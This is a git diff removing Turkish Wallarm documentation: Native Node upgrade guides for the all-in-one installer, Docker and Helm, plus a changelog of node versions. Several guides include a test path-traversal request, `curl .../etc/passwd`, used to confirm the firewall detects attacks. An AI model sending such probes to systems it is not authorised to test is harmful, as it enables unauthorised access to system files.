hata olup olmadığını kontrol edin: - - * Günlükler varsayılan olarak `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yazılır. Oradan okuyabilirsiniz. - * Filtreleme düğümünün [standart günlükleri](../../admin-en/configure-logging.md) (verilerin Wallarm Cloud'a gönderilip gönderilmediği, tespit edilen saldırılar vb.) `/opt/wallarm/var/log/wallarm` dizininde bulunur. -1. Korunan bir kaynak adresine test [Path Traversal][ptrav-attack-docs] saldırısı içeren bir istek gönderin: - - ``` - curl http://localhost/etc/passwd - ``` - - Trafiğin `example.com`'a proxy'lenmesi yapılandırılmışsa, isteğe `-H "Host: example.com"` başlığını ekleyin. -1. Yükseltilen düğümün önceki sürüme kıyasla beklendiği gibi çalıştığını doğrulayın. - -## Bir sorunla karşılaşırsanız - -Yükseltme veya yeniden kurulum sürecinde bir sorun varsa: - -1. Geçerli kurulumu kaldırın: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` -1. Düğümü [TCP trafiği analizi](../../installation/oob/tcp-traffic-mirror/deployment.md) veya MuleSoft [Mule](../../installation/connectors/mulesoft.md) ya da [Flex](../../installation/connectors/mulesoft-flex.md) Gateway, [Akamai](../../installation/connectors/akamai-edgeworkers.md), [CloudFront](../../installation/connectors/aws-lambda.md), [Cloudflare](../../installation/connectors/cloudflare.md), [Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md), [Fastly](../../installation/connectors/fastly.md) veya [IBM DataPower](../../installation/connectors/ibm-api-connect.md) bağlayıcıları için her zamanki gibi yeniden kurun. - - Ya da yukarıda açıklanan yükseltme prosedürünü izleyin. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/native-node/docker-image.md b/docs/latest-tr/updating-migrating/native-node/docker-image.md deleted file mode 100644 index 9940964842..0000000000 --- a/docs/latest-tr/updating-migrating/native-node/docker-image.md +++ /dev/null @@ -1,92 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Docker İmajı ile Wallarm Native Node'u Yükseltme - -Bu talimatlar, [Docker imajından dağıtılmış Native Node'un](../../installation/native-node/docker-image.md) yükseltilmesine yönelik adımları açıklar. - -[Docker imajı sürümlerini görüntüleyin](node-artifact-versions.md) - -## Gereksinimler - -* Anasisteminizde [Docker](https://docs.docker.com/engine/install/) yüklü -* API yönetim platformunuzdan konteynerleştirilmiş ortamınıza gelen (inbound) erişim -* Konteynerleştirilmiş ortamınızdan dışa doğru (outbound) erişim: - - * Dağıtım için gerekli Docker imajlarını indirmek üzere `https://hub.docker.com/r/wallarm` - * US/EU Wallarm Cloud için `https://us1.api.wallarm.com` veya `https://api.wallarm.com` - * Saldırı tespit kuralları ve [API spesifikasyonları][api-spec-enforcement-docs] güncellemelerini indirmek, ayrıca [izinli, yasaklı veya gri listeye alınmış][ip-list-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" -* Yukarıdakilere ek olarak, Wallarm Console'da size atanmış **Administrator** rolüne sahip olmalısınız - -## 1. Yeni Docker imajı sürümünü indirin - -``` -docker pull wallarm/node-native-aio:0.17.1 -``` - -## 2. Çalışan konteyneri durdurun - -```bash -docker stop -``` - -## 3. Konteyneri yeni imajla çalıştırın - -!!! info "Node sürümü 0.12.x veya daha düşükten yükseltiyorsanız" - Node sürümü 0.12.x veya daha düşükten yükseltiyorsanız, ilk yapılandırma dosyasındaki (`wallarm-node-conf.yaml`, varsayılan kurulum talimatlarına göre) `version` değerinin güncellendiğinden ve `tarantool_exporter` bölümünün `postanalytics_exporter` olarak yeniden adlandırıldığından (açıkça belirtilmişse) emin olun: - - ```diff - -version: 2 - +version: 4 - - -tarantool_exporter: - +postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - ... - ``` - -=== "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` -=== "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` - -Environment variable | Description| Required ---- | ---- | ---- -`WALLARM_API_TOKEN` | `Node deployment/Deployment` kullanım türüne sahip API token'ı. | Evet -`WALLARM_LABELS` | Node örneklerini gruplamak için `group` etiketini ayarlar, örneğin:
              `WALLARM_LABELS="group="` node örneğini `` örnek grubuna yerleştirir (varsa mevcut, yoksa oluşturulur). | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              Varsayılan: `api.wallarm.com`. | Hayır - -* `-p` seçeneği ana makine ve konteyner portlarını eşler: - - * İlk değer (`80`), dış trafiğe açılan ana makinenin portudur. - * İkinci değer (`5050`), konteynerin portudur ve `wallarm-node-conf.yaml` dosyasındaki `connector.address` ayarıyla eşleşmelidir. -* Yapılandırma dosyası, konteyner içinde `/opt/wallarm/etc/wallarm/go-node.yaml` olarak bağlanmalıdır. - - Yapılandırma dosyası için, ilk kurulum sırasında kullandığınızın aynısını yeniden kullanabilirsiniz. Yalnızca gerekli ise yeni parametreler ekleyin veya mevcut olanları değiştirin - [desteklenen yapılandırma seçeneklerine](../../installation/native-node/all-in-one-conf.md) bakın. - -## 4. Yükseltmeyi doğrulayın - -Node'un doğru çalıştığını doğrulamak için: - -1. Hatalar için logları kontrol edin: - - * Loglar varsayılan olarak `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yazılır, ek çıktı stdout'ta mevcuttur. - * Verilerin Wallarm Cloud'a gönderilip gönderilmediği, tespit edilen saldırılar vb. gibi filtreleme node'una ait [standart loglar](../../admin-en/configure-logging.md) konteyner içinde `/opt/wallarm/var/log/wallarm` dizininde bulunur. -1. Korunan bir kaynak adresine test [Path Traversal][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl http://localhost/etc/passwd - ``` - - Trafik `example.com` adresine proxy'lenmek üzere yapılandırılmışsa, isteğe `-H "Host: example.com"` başlığını ekleyin. -1. Yükseltilen node'un, önceki sürümle karşılaştırıldığında beklendiği gibi çalıştığını doğrulayın. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/native-node/helm-chart.md b/docs/latest-tr/updating-migrating/native-node/helm-chart.md deleted file mode 100644 index 52261d25da..0000000000 --- a/docs/latest-tr/updating-migrating/native-node/helm-chart.md +++ /dev/null @@ -1,68 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Helm Chart ile Wallarm Native Node'u Yükseltme - -Bu talimatlar, [Helm chart kullanılarak dağıtılmış Native Node'un](../../installation/native-node/helm-chart.md) nasıl yükseltileceğini açıklar. - -[Helm chart sürümlerini görüntüleyin](node-artifact-versions.md) - -## Gereksinimler - -Helm chart ile Native Node dağıtımı için Kubernetes kümesi aşağıdaki kriterleri karşılamalıdır: - -* [Helm v3](https://helm.sh/) paket yöneticisi kurulu olmalıdır. -* API'lerinizin çalıştığı API gateway veya CDN'den gelen (inbound) erişim. -* Aşağıdakilere çıkan (outbound) erişim: - - * Wallarm Helm chart'ını indirmek için `https://charts.wallarm.com` - * Dağıtım için gereken Docker imajlarını indirmek için `https://hub.docker.com/r/wallarm` - * US/EU Wallarm Cloud için `https://us1.api.wallarm.com` veya `https://api.wallarm.com` - * Saldırı tespit kuralları ve [API spesifikasyonları][api-spec-enforcement-docs] güncellemelerini indirmek ve ayrıca [allowlisted, denylisted veya graylisted][ip-list-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için doğru IP'leri almak amacıyla aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" -* Bunlara ek olarak, Wallarm Console içinde size atanmış **Administrator** rolüne sahip olmalısınız. - -## 1. Wallarm Helm chart deposunu güncelleyin - -```bash -helm repo update wallarm -``` - -## 2. Wallarm Kubernetes servisini yükseltin - -Dağıtılmış Kubernetes servisini veya Load Balancer'ı yükseltin: - -``` bash -helm upgrade -n wallarm/wallarm-node-native --version 0.17.1 -f -``` - -* ``: mevcut Helm release adı -* ``: Helm release'ın bulunduğu namespace -* ``: dağıtılan çözüm yapılandırmasını tanımlayan [`values.yaml` dosyasının](../../installation/native-node/helm-chart-conf.md) yolu - - 0.10.1 veya daha yüksek bir sürüme yükseltirken, belirtilmişse `config.connector.log_level` parametresini kaldırın. Daha ayrıntılı günlükleme için [`config.connector.log`](../../installation/native-node/helm-chart-conf.md#configconnectorlog) bölümü ile değiştirilmiştir. Özelleştirme gerekiyorsa `log.*` parametrelerini belirtin. - -## 3. Yükseltmeyi doğrulayın - -1. Wallarm pod'larının çalışır durumda olduğunu doğrulayın: - - ``` - kubectl -n get pods - ``` - - Her pod durumunun **STATUS: Running** veya **READY: N/N** olması gerekir. Örneğin: - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. API gateway'inize test amaçlı [Path Traversal][ptrav-attack-docs] saldırısıyla bir istek gönderin: - - ``` - curl https:///etc/passwd - ``` -1. Yükseltilen node'un önceki sürüme kıyasla beklendiği gibi çalıştığını doğrulayın. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/native-node/node-artifact-versions.md b/docs/latest-tr/updating-migrating/native-node/node-artifact-versions.md deleted file mode 100644 index 70276e6f56..0000000000 --- a/docs/latest-tr/updating-migrating/native-node/node-artifact-versions.md +++ /dev/null @@ -1,248 +0,0 @@ -# Native Node Yapı Artifakt Sürümleri ve Değişiklik Günlüğü - -Bu belge, çeşitli dağıtım biçimlerindeki [sürümleri](../versioning-policy.md) 0.14.x+ [Native Wallarm Node](../../installation/nginx-native-node-internals.md#native-node) için listeler; sürümleri takip etmenize ve yükseltme planlamanıza yardımcı olur. - -## Hepsi-bir-arada yükleyici - -Native Node için hepsi-bir-arada yükleyici, [TCP trafik aynası analizi](../../installation/oob/tcp-traffic-mirror/deployment.md) ve MuleSoft [Mule](../../installation/connectors/mulesoft.md) veya [Flex](../../installation/connectors/mulesoft-flex.md) Gateway, [Akamai](../../installation/connectors/akamai-edgeworkers.md), [CloudFront](../../installation/connectors/aws-lambda.md), [Cloudflare](../../installation/connectors/cloudflare.md), [Istio](../../installation/connectors/istio.md), [Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md), [Fastly](../../installation/connectors/fastly.md), [IBM DataPower](../../installation/connectors/ibm-api-connect.md) bağlayıcıları ile self-hosted node dağıtımı için kullanılır. - -Hepsi-bir-arada yükleyici güncellemelerinin geçmişi, x86_64 ve ARM64 sürümlerine eşzamanlı olarak uygulanır. - -[Nasıl yükseltilir](all-in-one.md) - -### 0.17.1 (2025-08-15) - -* Buluta kimlik bilgileri dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Trafik kapasitesini artırmak için Node ile wstore arasındaki dahili kanal optimize edildi - - Bu, Node trafiği postanalytics’e aktarma hızından daha hızlı içeri alırken olası veri kaybını önler. -* Kaynak IP adresi olmayan serileştirilmiş isteklerin postanalytics’e aktarımının başarısız olmasına neden olan sorun giderildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 0.16.3 (2025-08-05) - -* [Akamai bağlayıcısı](../../installation/connectors/akamai-edgeworkers.md) desteği eklendi -* `--preserve` bayrağı `true` olarak ayarlandığında yükseltme sırasında oluşan sessiz hata giderildi - -### 0.16.1 (2025-08-01) - -* Yeni [Prometheus metrikleri](../../admin-en/native-node-metrics.md) eklendi: - - * Genel Native Node örneği bilgilerini içeren `wallarm_gonode_application_info`, örn.: - - ```bash - wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1"} 1 - ``` - - * `wallarm_gonode_http_inspector_balancer_workers` - * `wallarm_gonode_http_inspector_debug_container_len` artık `type="channel:in"` için `aggregate="sum"` içerir - * `wallarm_gonode_http_inspector_errors_total` artık yeni bir `type="FlowTimeouts"` içerir -* Dahili `http_inspector` modülünde kararlılık iyileştirildi - -### 0.16.0 (2025-07-23) - -* [MuleSoft Flex Gateway bağlayıcısı](../../installation/connectors/mulesoft-flex.md) desteği eklendi -* Node’un hangi istekleri incelemesi veya atlaması gerektiğinin tanımlanmasına olanak tanıyan [`input_filters`](../../installation/native-node/all-in-one-conf.md#input_filters) yapılandırma bölümü tanıtıldı -* Bellek sızıntısı düzeltildi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayırıcı `:` yerine `|` olarak değiştirildi -* Yasaklı kaynaklar ve Wallarm Console UI üzerinden yapılandırılan mod ile ilgili engelleme sorunu düzeltildi -* Dahili iyileştirmeler - -### 0.15.1 (2025-07-08) - -* Güvenilir ağları yapılandırmak ve gerçek istemci IP’si ile host başlıklarını çıkarmak için [`proxy_headers`](../../installation/native-node/all-in-one-conf.md#proxy_headers) yapılandırması tanıtıldı - - Bu, önceki sürümlerde `tcp-capture` modunda kullanılan `http_inspector.real_ip_header`’ın yerini alır. -* `go-node` ikili dosyası tarafından sunulan Prometheus metriklerinin önekini özelleştirmek için [`metrics.namespace`](../../installation/native-node/all-in-one-conf.md#metricsnamespace) yapılandırma seçeneği eklendi -* `keep-alive` bağlantı sınırlarını kontrol etmek için [`connector.per_connection_limits`](../../installation/native-node/all-in-one-conf.md#connectorper_connection_limits) eklendi -* Küçük dahili dosya yapısı değişikliği -* wstore port bağlama düzeltildi: artık `0.0.0.0` yerine `127.0.0.1`’e bağlanır -* [CVE-2025-22874](https://nvd.nist.gov/vuln/detail/CVE-2025-22874) güvenlik açığı giderildi -* [CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273) güvenlik açığı giderildi - -### 0.14.1 (2025-05-07) - -* [**enumeration**](../../api-protection/enumeration-attack-protection.md) azaltma kontrolleri desteği eklendi -* [**DoS koruması**](../../api-protection/dos-protection.md) azaltma kontrolü desteği eklendi -* [IBM API Connect bağlayıcısı](../../installation/connectors/ibm-api-connect.md) desteği eklendi -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406), [CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115) güvenlik açıkları giderildi -* `connector-server` modunda harici sağlık denetimi uç noktası desteği eklendi - - Bu, yeni [`connector.external_health_check`](../../installation/native-node/all-in-one-conf.md#connectorexternal_health_check) yapılandırma bölümüyle kontrol edilir. -* İstek ve yanıt gövdelerinin ara sıra bozulmasına neden olabilen tekrarlayan aralıklı bir hata düzeltildi -* `tcp-capture` modunda aşağıdaki düzeltmeler ve güncellemeler yapıldı: - - * GoReplay artık Go 1.24 ile derleniyor - * Düzeltildi: `goreplay` işlemi çöktüğünde `go-node` işlemi artık askıda kalmıyor - * GoReplay’de başlık ayrıştırma sırasında slice sınır aşımının neden olduğu bir çökme düzeltildi -* Wallarm Console → **Nodes** içinde Native Node sürümlerinin hatalı görüntülenmesi düzeltildi - -### 0.14.0 (2025-04-16) - -* Wallarm Node artık yerel postanalytics işleme için Tarantool yerine Wallarm tarafından geliştirilen bir servis olan **wstore**’u kullanıyor -* Daha önce tüm filtreleme nodelarında kurulan collectd servisi ve ilgili eklentileri kaldırıldı - - Metrikler artık Wallarm’ın yerleşik mekanizmalarıyla toplanıp gönderilmektedir; bu da harici araçlara bağımlılığı azaltır. - -## Helm chart - -Native Node için Helm chart, MuleSoft [Mule](../../installation/connectors/mulesoft.md) veya [Flex](../../installation/connectors/mulesoft-flex.md) Gateway, [Akamai](../../installation/connectors/akamai-edgeworkers.md), [CloudFront](../../installation/connectors/aws-lambda.md), [Cloudflare](../../installation/connectors/cloudflare.md), [Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md), [Fastly](../../installation/connectors/fastly.md), [IBM DataPower](../../installation/connectors/ibm-api-connect.md), [Kong API Gateway](../../installation/connectors/kong-api-gateway.md) ve [Istio](../../installation/connectors/istio.md) bağlayıcıları ile self-hosted node dağıtımları için kullanılır. - -[Nasıl yükseltilir](helm-chart.md) - -### 0.17.1 (2025-08-15) - -* Güvenilir ağları yapılandırmak ve gerçek istemci IP’si ile host başlıklarını çıkarmak için [`proxy_headers`](../../installation/native-node/helm-chart-conf.md#configconnectorproxy_headers) yapılandırması tanıtıldı -* Buluta kimlik bilgileri dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Trafik kapasitesini artırmak için Node ile wstore arasındaki dahili kanal optimize edildi - - Bu, Node trafiği postanalytics’e aktarma hızından daha hızlı içeri alırken olası veri kaybını önler. -* Kaynak IP adresi olmayan serileştirilmiş isteklerin postanalytics’e aktarımının başarısız olmasına neden olan sorun giderildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 0.16.3 (2025-08-05) - -* [Akamai bağlayıcısı](../../installation/connectors/akamai-edgeworkers.md) desteği eklendi -* Hata düzeltmeleri - -### 0.16.1 (2025-08-01) - -* Node’un hangi istekleri incelemesi veya atlaması gerektiğinin tanımlanmasına olanak tanıyan [`input_filters`](../../installation/native-node/helm-chart-conf.md#configconnectorinput_filters) yapılandırma bölümü tanıtıldı -* Yeni [Prometheus metrikleri](../../admin-en/native-node-metrics.md) eklendi: - - * Genel Native Node örneği bilgilerini içeren `wallarm_gonode_application_info`, örn.: - - ```bash - wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1"} 1 - ``` - - * `wallarm_gonode_http_inspector_balancer_workers` - * `wallarm_gonode_http_inspector_debug_container_len` artık `type="channel:in"` için `aggregate="sum"` içerir - * `wallarm_gonode_http_inspector_errors_total` artık yeni bir `type="FlowTimeouts"` içerir -* [Lua eklentisine dayanan Istio için Wallarm Connector](/5.x/installation/connectors/istio/) kullanım dışı bırakıldı - - Bunun yerine [Istio için gRPC tabanlı harici işleme filtresi](../../installation/connectors/istio.md) kullanmanızı öneririz. -* Kullanım dışı bırakılan Istio bağlayıcısı için, mevcut dağıtımlarda uyumluluğu sağlamak amacıyla aşağıdaki iyileştirmeler yapıldı: - - * Mesajlar için mesh dengeleme mantığı düzeltildi - * Tüm bağlayıcı trafiğini mesh dengeleme olmadan Node üzerinde işlemek için `disable_mesh` parametresi eklendi (varsayılan `false` - mesh dengeleme etkindir) -* Dahili `http_inspector` modülünde kararlılık iyileştirildi - -### 0.16.0 (2025-07-23) - -* [MuleSoft Flex Gateway bağlayıcısı](../../installation/connectors/mulesoft-flex.md) desteği eklendi -* Bellek sızıntısı düzeltildi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayırıcı `:` yerine `|` olarak değiştirildi -* Yasaklı kaynaklar ve Wallarm Console UI üzerinden yapılandırılan mod ile ilgili engelleme sorunu düzeltildi -* Dahili iyileştirmeler - -### 0.15.1 (2025-07-08) - -* Gelen **wstore** bağlantıları için adres ve portu özelleştirmek amacıyla [`config.aggregation.serviceAddress`](../../installation/native-node/helm-chart-conf.md#configaggregationserviceaddress) parametresi desteği eklendi -* Küçük dahili dosya yapısı değişikliği -* [CVE-2025-22874](https://nvd.nist.gov/vuln/detail/CVE-2025-22874) güvenlik açığı giderildi -* [CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273) güvenlik açığı giderildi - - -### 0.14.1 (2025-05-07) - -* [IBM API Connect bağlayıcısı](../../installation/connectors/ibm-api-connect.md) desteği eklendi -* [CVE-2025-22871](https://nvd.nist.gov/vuln/detail/CVE-2025-22871) güvenlik açığı giderildi -* Helm chart headless service içinde `clusterIP: None` işleme düzeltildi -* İstek ve yanıt gövdelerinin ara sıra bozulmasına neden olabilen tekrarlayan aralıklı bir hata düzeltildi -* Wallarm Console → **Nodes** içinde Native Node sürümlerinin hatalı görüntülenmesi düzeltildi - -### 0.14.0 (2025-04-16) - -* Wallarm Node artık yerel postanalytics işleme için Tarantool yerine Wallarm tarafından geliştirilen bir servis olan **wstore**’u kullanıyor -* `values.yaml` içindeki tüm `tarantool` referansları (container adları ve parametre anahtarları dahil) `wstore` olarak yeniden adlandırıldı - - Bu parametreleri yapılandırmanızda geçersiz kılıyorsanız, adlarını buna göre güncelleyin. -* Daha önce tüm filtreleme nodelarında kurulan collectd servisi ve ilgili eklentileri kaldırıldı - - Metrikler artık Wallarm’ın yerleşik mekanizmalarıyla toplanıp gönderilmektedir; bu da harici araçlara bağımlılığı azaltır. -* Kubernetes sistem etiketleriyle çakışmaları önlemek için `*_container_*` ile eşleşen tüm Prometheus metriklerinde `container` etiketi `type` olarak yeniden adlandırıldı - -## Docker imajı - -Native Node için Docker imajı, MuleSoft [Mule](../../installation/connectors/mulesoft.md) veya [Flex](../../installation/connectors/mulesoft-flex.md) Gateway, [Akamai](../../installation/connectors/akamai-edgeworkers.md), [CloudFront](../../installation/connectors/aws-lambda.md), [Cloudflare](../../installation/connectors/cloudflare.md), [Istio](../../installation/connectors/istio.md), [Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md), [Fastly](../../installation/connectors/fastly.md), [IBM DataPower](../../installation/connectors/ibm-api-connect.md) bağlayıcıları ile self-hosted node dağıtımı için kullanılır. - -[Nasıl yükseltilir](docker-image.md) - -### 0.17.1 (2025-08-15) - -* Buluta kimlik bilgileri dışa aktarımı düzeltildi -* GraphQL ayrıştırıcı iyileştirildi -* Trafik kapasitesini artırmak için Node ile wstore arasındaki dahili kanal optimize edildi - - Bu, Node trafiği postanalytics’e aktarma hızından daha hızlı içeri alırken olası veri kaybını önler. -* Kaynak IP adresi olmayan serileştirilmiş isteklerin postanalytics’e aktarımının başarısız olmasına neden olan sorun giderildi -* Hata düzeltmeleri ve dahili iyileştirmeler - -### 0.16.3 (2025-08-05) - -* [Akamai bağlayıcısı](../../installation/connectors/akamai-edgeworkers.md) desteği eklendi -* `--preserve` bayrağı `true` olarak ayarlandığında yükseltme sırasında oluşan sessiz hata giderildi - -### 0.16.1 (2025-08-01) - -* Yeni [Prometheus metrikleri](../../admin-en/native-node-metrics.md) eklendi: - - * Genel Native Node örneği bilgilerini içeren `wallarm_gonode_application_info`, örn.: - - ```bash - wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1"} 1 - ``` - - * `wallarm_gonode_http_inspector_balancer_workers` - * `wallarm_gonode_http_inspector_debug_container_len` artık `type="channel:in"` için `aggregate="sum"` içerir - * `wallarm_gonode_http_inspector_errors_total` artık yeni bir `type="FlowTimeouts"` içerir -* Dahili `http_inspector` modülünde kararlılık iyileştirildi - -### 0.16.0 (2025-07-23) - -* [MuleSoft Flex Gateway bağlayıcısı](../../installation/connectors/mulesoft-flex.md) desteği eklendi -* Node’un hangi istekleri incelemesi veya atlaması gerektiğinin tanımlanmasına olanak tanıyan [`input_filters`](../../installation/native-node/all-in-one-conf.md#input_filters) yapılandırma bölümü tanıtıldı -* Bellek sızıntısı düzeltildi -* Kurallarda, URI, ad alanı ve etiket adını birleştiren [**xml_tag**](../../user-guides/rules/request-processing.md#xml) değerlerinde kullanılan ayırıcı `:` yerine `|` olarak değiştirildi -* Yasaklı kaynaklar ve Wallarm Console UI üzerinden yapılandırılan mod ile ilgili engelleme sorunu düzeltildi -* Dahili iyileştirmeler - -### 0.15.1 (2025-07-08) - -* Güvenilir ağları yapılandırmak ve gerçek istemci IP’si ile host başlıklarını çıkarmak için [`proxy_headers`](../../installation/native-node/all-in-one-conf.md#proxy_headers) yapılandırması tanıtıldı - - Bu, önceki sürümlerde `tcp-capture` modunda kullanılan `http_inspector.real_ip_header`’ın yerini alır. -* `go-node` ikili dosyası tarafından sunulan Prometheus metriklerinin önekini özelleştirmek için [`metrics.namespace`](../../installation/native-node/all-in-one-conf.md#metricsnamespace) yapılandırma seçeneği eklendi -* `keep-alive` bağlantı sınırlarını kontrol etmek için [`connector.per_connection_limits`](../../installation/native-node/all-in-one-conf.md#connectorper_connection_limits) eklendi -* Küçük dahili dosya yapısı değişikliği -* wstore port bağlama düzeltildi: artık `0.0.0.0` yerine `127.0.0.1`’e bağlanır -* [CVE-2025-22874](https://nvd.nist.gov/vuln/detail/CVE-2025-22874) güvenlik açığı giderildi -* [CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273) güvenlik açığı giderildi - -### 0.14.1 (2025-05-07) - -* [IBM API Connect bağlayıcısı](../../installation/connectors/ibm-api-connect.md) desteği eklendi -* [CVE-2025-22871](https://nvd.nist.gov/vuln/detail/CVE-2025-22871) güvenlik açığı giderildi -* Harici sağlık denetimi uç noktası desteği eklendi - - Bu, yeni [`connector.external_health_check`](../../installation/native-node/all-in-one-conf.md#connectorexternal_health_check) yapılandırma bölümüyle kontrol edilir. -* İstek ve yanıt gövdelerinin ara sıra bozulmasına neden olabilen tekrarlayan aralıklı bir hata düzeltildi -* Wallarm Console → **Nodes** içinde Native Node sürümlerinin hatalı görüntülenmesi düzeltildi - -### 0.14.0 (2025-04-16) - -* Wallarm Node artık yerel postanalytics işleme için Tarantool yerine Wallarm tarafından geliştirilen bir servis olan **wstore**’u kullanıyor -* Daha önce tüm filtreleme nodelarında kurulan collectd servisi ve ilgili eklentileri kaldırıldı - - Metrikler artık Wallarm’ın yerleşik mekanizmalarıyla toplanıp gönderilmektedir; bu da harici araçlara bağımlılığı azaltır. - -## Amazon Machine Image (AMI) - - - -### 0.14.0 (2025-05-07) - -* İlk sürüm \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/nginx-modules.md b/docs/latest-tr/updating-migrating/nginx-modules.md deleted file mode 100644 index a9c2eb7dcc..0000000000 --- a/docs/latest-tr/updating-migrating/nginx-modules.md +++ /dev/null @@ -1,177 +0,0 @@ -[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../admin-en/configure-logging.md -[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[install-postanalytics-instr]: ../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../admin-en/configure-dynamic-dns-resolution-nginx.md -[img-wl-console-users]: ../images/check-users.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[oob-docs]: ../installation//oob/overview.md -[sqli-attack-docs]: ../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../attacks-vulns-list.md#crosssite-scripting-xss -[web-server-mirroring-examples]: ../installation/oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[ip-lists-docs]: ../user-guides/ip-lists/overview.md - -# Wallarm NGINX modüllerini yükseltme - -Bu talimatlar, bireysel paketlerden kurulmuş Wallarm NGINX modüllerini 4.x’ten 6.x sürümüne yükseltme adımlarını açıklar. Bunlar, aşağıdaki talimatlardan biriyle kurulmuş modüllerdir: - -* NGINX stable için bireysel paketler -* NGINX Plus için bireysel paketler -* Dağıtımın sağladığı NGINX için bireysel paketler - -!!! info "Tümü bir arada yükleyici ile yükseltme" - 4.10 sürümünden itibaren, bireysel Linux paketleri kullanım dışı bırakıldığından yükseltme Wallarm’ın [all-in-one installer](../installation/nginx/all-in-one.md) aracı ile gerçekleştirilir. Bu yöntem, önceki yaklaşıma kıyasla yükseltme sürecini ve devam eden kurulum bakımını basitleştirir. - - Yükleyici aşağıdaki işlemleri otomatik olarak gerçekleştirir: - - 1. İşletim sisteminizi ve NGINX sürümünü kontrol eder. - 1. Algılanan işletim sistemi ve NGINX sürümü için Wallarm depolarını ekler. - 1. Bu depolardan Wallarm paketlerini kurar. - 1. Kurulu Wallarm modülünü NGINX’inize bağlar. - 1. Sağlanan belirteç ile filtreleme düğümünü Wallarm Cloud’a bağlar. - - ![Manuele kıyasla tümü bir arada](../images/installation-nginx-overview/manual-vs-all-in-one.png) - -Kullanım ömrü sona ermiş düğümü (3.6 veya altı) yükseltmek için lütfen [farklı talimatları](older-versions/nginx-modules.md) kullanın. - -## Gereksinimler - ---8<-- 